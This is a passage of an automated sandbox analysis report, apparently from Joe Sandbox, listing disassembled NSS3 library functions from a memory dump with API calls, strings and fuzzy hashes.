hSession = 0x%x, xrefs: 6CE46C7E, 6CE46C8E
(CK_INVALID_HANDLE), xrefs: 6CE46C9C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 9c5c6ea9822bb2a11348623cd4886fff93d4c605b8d96d8ecedfdb33abcd5671
Instruction ID: ce2432794d21a5b38028130380996ff69a8a2200c0864d03ba143b94fa03699f
Opcode Fuzzy Hash: 9c5c6ea9822bb2a11348623cd4886fff93d4c605b8d96d8ecedfdb33abcd5671
Instruction Fuzzy Hash: 6321F531F01124EFDB419F94BD49B9A37B9EF4231CF158029E80997B02DB759908CBE2

Function 6CE49DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CE49DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE49E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE49E33

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE49E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CE49E65

Strings

C_SessionCancel, xrefs: 6CE49DF1
hSession = 0x%x, xrefs: 6CE49E0E, 6CE49E1E
(CK_INVALID_HANDLE), xrefs: 6CE49E2C
flags = 0x%x, xrefs: 6CE49E60

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 67dfa56789701de73e4552d09b5898a5af9f8c9af627a704ec5f51d71c14c094
Instruction ID: 6c66af992bac8b1f84a8da3a753c2d85a15eee5ec7553ad2638dc6364ed950c8
Opcode Fuzzy Hash: 67dfa56789701de73e4552d09b5898a5af9f8c9af627a704ec5f51d71c14c094
Instruction Fuzzy Hash: 72210C71A01114EFD7419B94FE88F9A37B8EF4231DF158428E90967711DB359C49C7B1

Function 6CE10F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE10F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE10F84

Part of subcall function 6CE6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF418D0,?), ref: 6CE6B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE2F59B,6CF3890C,?), ref: 6CE10FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE10FC1

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE10FDB
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE10FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE11001
PL_FinishArenaPool.NSS3(?), ref: 6CE11009

Strings

security, xrefs: 6CE10F5C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 7e4b1f46543d2c713484b2fde0641db12ead814fc38efe67b48055d96d65fbfc
Instruction ID: 909af176651c08f61dc6da5f5761254ba9f05f243c6f2f58451942fb8d2d733c
Opcode Fuzzy Hash: 7e4b1f46543d2c713484b2fde0641db12ead814fc38efe67b48055d96d65fbfc
Instruction Fuzzy Hash: A021F5B1904244BBE7109F25DC41EAA77B4EF4465CF248519FC5896B01F732D925CBE2

Function 6CE16DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE17D8F,6CE17D8F,?,?), ref: 6CE16DC8

Part of subcall function 6CE6FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CE6FE08
Part of subcall function 6CE6FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CE6FE1D
Part of subcall function 6CE6FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CE6FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE17D8F,?,?), ref: 6CE16DD5

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF38FA0,00000000,?,?,?,?,6CE17D8F,?,?), ref: 6CE16DF7

Part of subcall function 6CE6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF418D0,?), ref: 6CE6B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE16E35

Part of subcall function 6CE6FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CE6FE29
Part of subcall function 6CE6FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CE6FE3D
Part of subcall function 6CE6FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CE6FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE16E4C

Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF38FE0,00000000), ref: 6CE16E82

Part of subcall function 6CE16AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE1B21D,00000000,00000000,6CE1B219,?,6CE16BFB,00000000,?,00000000,00000000,?,?,?,6CE1B21D), ref: 6CE16B01
Part of subcall function 6CE16AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE16B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE16F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE16F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF38FE0,00000000), ref: 6CE16F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE17D8F,?,?), ref: 6CE16FE1

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 95c3222cdcc835b07788214549dd31e5951fa47a2189ef0e9e6e87e9c629c4b6
Instruction ID: ffe7f17581437cfc2c90abd39f60c9fc94923d4ff12866ca8484bb5e47b9f27f
Opcode Fuzzy Hash: 95c3222cdcc835b07788214549dd31e5951fa47a2189ef0e9e6e87e9c629c4b6
Instruction Fuzzy Hash: CE719E71D142469BDB00CF15CD41BAABBB8FF9834CF254269E808D7B11E730EAA4CB90

Function 6CE50FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE51057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE51085
PK11_GetAllTokens.NSS3 ref: 6CE510B1
free.MOZGLUE(?), ref: 6CE51107
PR_SetError.NSS3(00000000,00000000), ref: 6CE51172
free.MOZGLUE(?), ref: 6CE51182
free.MOZGLUE(?), ref: 6CE511A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CE511C5

Part of subcall function 6CE552C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE2EAC5,00000001), ref: 6CE552DF
Part of subcall function 6CE552C0: EnterCriticalSection.KERNEL32(?), ref: 6CE552F3
Part of subcall function 6CE552C0: PR_Unlock.NSS3(?), ref: 6CE55358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE511D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE511F3

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 979d4b6770f90fad92b7adb9df64e7585c75a70cf37e150bd5e9302218fa8943
Instruction ID: 60e9a1463b4bd90a6d7dc5c9e2e77870459a84953cadd1c71396e452710d7ed8
Opcode Fuzzy Hash: 979d4b6770f90fad92b7adb9df64e7585c75a70cf37e150bd5e9302218fa8943
Instruction Fuzzy Hash: 3B61E5B1E003459BEB00DFA4DD81BAAB7B4BF04348F744128EC19AB741E772E955CBA1

Function 6CE5ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AE10
EnterCriticalSection.KERNEL32(?,?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CE3D079,00000000,00000001), ref: 6CE5AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AE7F
TlsGetValue.KERNEL32(?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AEF1
free.MOZGLUE(6CE3CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE3CDBB,?), ref: 6CE5AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AF30

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: a9e10c0aecf29af08896085d89127b4bf616749128ae2ba723eec50d879cd5b2
Instruction ID: 27d154e41c2851de61921663ce3bcdc7e92bdc85c2a0afe2ca9a59148d058b8c
Opcode Fuzzy Hash: a9e10c0aecf29af08896085d89127b4bf616749128ae2ba723eec50d879cd5b2
Instruction Fuzzy Hash: 1651C0B1A40602AFDB01DF25D885B65B7B4FF09318F644669E81897F11E732E8B4CBE1

Function 6CE34CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE3AB7F,?,00000000,?), ref: 6CE34CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CE3AB7F,?,00000000,?), ref: 6CE34CC8
TlsGetValue.KERNEL32(?,6CE3AB7F,?,00000000,?), ref: 6CE34CE0
EnterCriticalSection.KERNEL32(?,?,6CE3AB7F,?,00000000,?), ref: 6CE34CF4
PL_HashTableLookup.NSS3(?,?,?,6CE3AB7F,?,00000000,?), ref: 6CE34D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CE34D10

Part of subcall function 6CEBDD70: TlsGetValue.KERNEL32 ref: 6CEBDD8C
Part of subcall function 6CEBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CE34D26

Part of subcall function 6CED9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF20A27), ref: 6CED9DC6
Part of subcall function 6CED9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF20A27), ref: 6CED9DD1
Part of subcall function 6CED9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CED9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CE34D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CE34DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CE34E02

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 8038ff2a431ee924fc328797b60bc0de4472cb4fef950fde7a84414cda246c94
Instruction ID: 2fca687b67816897155ddf1b495df0db43db04320dc2831b8a3e5fa7c3dcfc77
Opcode Fuzzy Hash: 8038ff2a431ee924fc328797b60bc0de4472cb4fef950fde7a84414cda246c94
Instruction Fuzzy Hash: 5341C9B6E002119BEB016F25EC40A667BB8FF0621CF655175EC1C87B12EB36E924C7E1

Function 6CE1BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE1BFFB

Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CE1C015

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CE1C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CE1C04D

Part of subcall function 6CE669E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE66A47
Part of subcall function 6CE669E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CE66A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CE1C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CE1C07B

Part of subcall function 6CE18980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE17310), ref: 6CE189B8
Part of subcall function 6CE18980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE17310), ref: 6CE189E6
Part of subcall function 6CE18980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE18A00
Part of subcall function 6CE18980: CERT_CopyRDN.NSS3(00000004,00000000,6CE17310,?,?,00000004,?), ref: 6CE18A1B
Part of subcall function 6CE18980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE18A74

Part of subcall function 6CE11D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CE1C097,00000000,000000B0,?), ref: 6CE11D2C
Part of subcall function 6CE11D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CE1C09B,00000000,00000000,00000000,?,6CE1C097,00000000,000000B0,?), ref: 6CE11D3F
Part of subcall function 6CE11D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CE1C087,00000000,000000B0,?), ref: 6CE11D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CE1C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CE1C0C9

Part of subcall function 6CE22DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CE1C0D2,6CE1C0CE,00000000,-000000D4,?), ref: 6CE22DF5
Part of subcall function 6CE22DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CE1C0CE,00000000,-000000D4,?), ref: 6CE22E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CE1C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE1C0E3

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 0f6ca74f64c1a9ffa369794973e7126ee3d01b326d3ae437fe5f07b8f0f45a17
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: FE2165B26442056BFB105A61AC81FFB327C9B5175CF284038FD08D9F46FB26D52983B2

Function 6CE12E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE12CDA,?,00000000), ref: 6CE12E1E

Part of subcall function 6CE6FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE19003,?), ref: 6CE6FD91
Part of subcall function 6CE6FD80: PORT_Alloc_Util.NSS3(A4686CE7,?), ref: 6CE6FDA2
Part of subcall function 6CE6FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CE7,?,?), ref: 6CE6FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE12E33

Part of subcall function 6CE6FD80: free.MOZGLUE(00000000,?,?), ref: 6CE6FDD1

TlsGetValue.KERNEL32 ref: 6CE12E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE12E5E
PL_HashTableLookup.NSS3(?), ref: 6CE12E71
PL_HashTableRemove.NSS3(?), ref: 6CE12E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE12E96
PR_Unlock.NSS3 ref: 6CE12EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE12EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE12EC5

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: f61c05c439107293bf12dc2cf8ffe66f4fe574183fc94f76006c30b5040b2edb
Instruction ID: 32cb865a71b43f000d96761c264e1b1d83e92449f590f7f6219ba62d9e440ec9
Opcode Fuzzy Hash: f61c05c439107293bf12dc2cf8ffe66f4fe574183fc94f76006c30b5040b2edb
Instruction Fuzzy Hash: AC21F276E54100A7EF022B25EC09BAA3A78AB5335DF240035ED1892B11F733D678C6F1

Function 6CDFFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CDFFD18
sqlite3_initialize.NSS3 ref: 6CDFFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDFFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CDFFD99
sqlite3_free.NSS3(00000000), ref: 6CDFFE3C
sqlite3_free.NSS3(?), ref: 6CDFFEE3
sqlite3_free.NSS3(?), ref: 6CDFFEEE

Strings

simple, xrefs: 6CDFFC79

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 0bf9620ff1afe77a0644ed6d0773501dd0c5490e7746d2bb4685c0290764fb3c
Instruction ID: e917701eb65ca95977656ba8bab17808c95a07f1ef7dc5b0aab06b43cfeba8f9
Opcode Fuzzy Hash: 0bf9620ff1afe77a0644ed6d0773501dd0c5490e7746d2bb4685c0290764fb3c
Instruction Fuzzy Hash: B19172B5A01205CFDB04CF55C880AAAB7F1FF85318F26C168DC299B762D735E942CBA0

Function 6CE05CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE05EC9
